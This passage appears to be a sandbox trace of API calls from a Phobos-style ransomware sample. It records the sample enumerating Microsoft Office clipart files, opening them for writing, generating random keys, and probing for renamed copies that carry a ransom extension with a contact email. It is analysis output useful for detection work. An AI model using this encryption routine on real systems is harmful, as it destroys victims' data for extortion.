GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=3040) returned 1 [0150.736] CloseHandle (hObject=0x564) returned 1 [0150.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf")) returned 0x220 [0150.736] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107484.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107484.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.736] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.737] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8000) returned 1 [0150.737] CloseHandle (hObject=0x564) returned 1 [0150.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf")) returned 0x220 [0150.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107488.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107488.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.737] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.738] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=16468) returned 1 [0150.738] CloseHandle (hObject=0x564) returned 1 [0150.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf")) returned 0x220 [0150.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107490.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.739] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.739] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.744] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6860) returned 1 [0150.744] CloseHandle (hObject=0x564) returned 1 [0150.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 0x220 [0150.745] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.745] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.745] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.746] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6424) returned 1 [0150.746] CloseHandle (hObject=0x564) returned 1 [0150.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 0x220 [0150.746] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.746] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.746] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.747] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=8864) returned 1 [0150.747] CloseHandle (hObject=0x564) returned 1 [0150.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 0x220 [0150.747] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.747] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.748] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.748] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4200) returned 1 [0150.748] CloseHandle (hObject=0x564) returned 1 [0150.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 0x220 [0150.748] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.748] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.749] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.749] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=10836) returned 1 [0150.749] CloseHandle (hObject=0x564) returned 1 [0150.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf")) returned 0x220 [0150.749] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.749] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107502.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107502.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.750] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.750] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=11404) returned 1 [0150.750] CloseHandle (hObject=0x564) returned 1 [0150.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf")) returned 0x220 [0150.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107512.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107512.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.750] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.753] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=12204) returned 1 [0150.753] CloseHandle (hObject=0x564) returned 1 [0150.753] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf")) returned 0x220 [0150.754] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.754] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.754] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.755] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=14008) returned 1 [0150.755] CloseHandle (hObject=0x564) returned 1 [0150.755] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf")) returned 0x220 [0150.756] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.756] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.756] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.757] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7948) returned 1 [0150.757] CloseHandle (hObject=0x564) returned 1 [0150.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf")) returned 0x220 [0150.757] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.757] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.758] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.758] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=6792) returned 1 [0150.758] CloseHandle (hObject=0x564) returned 1 [0150.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf")) returned 0x220 [0150.758] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.758] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.759] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.759] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.760] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=26768) returned 1 [0150.760] CloseHandle (hObject=0x564) returned 1 [0150.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf")) returned 0x220 [0150.760] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.761] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.761] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.762] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=7072) returned 1 [0150.762] CloseHandle (hObject=0x564) returned 1 [0150.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf")) returned 0x220 [0150.767] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.768] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.768] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.769] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4808) returned 1 [0150.769] CloseHandle (hObject=0x564) returned 1 [0150.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf")) returned 0x220 [0150.769] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.769] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x411fa90 | out: pbBuffer=0x411fa90) returned 1 [0150.769] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.770] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x411fa30 | out: lpFileSize=0x411fa30*=4636) returned 1 [0150.770] CloseHandle (hObject=0x564) returned 1 [0150.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf")) returned 0x220 [0150.770] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.770] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 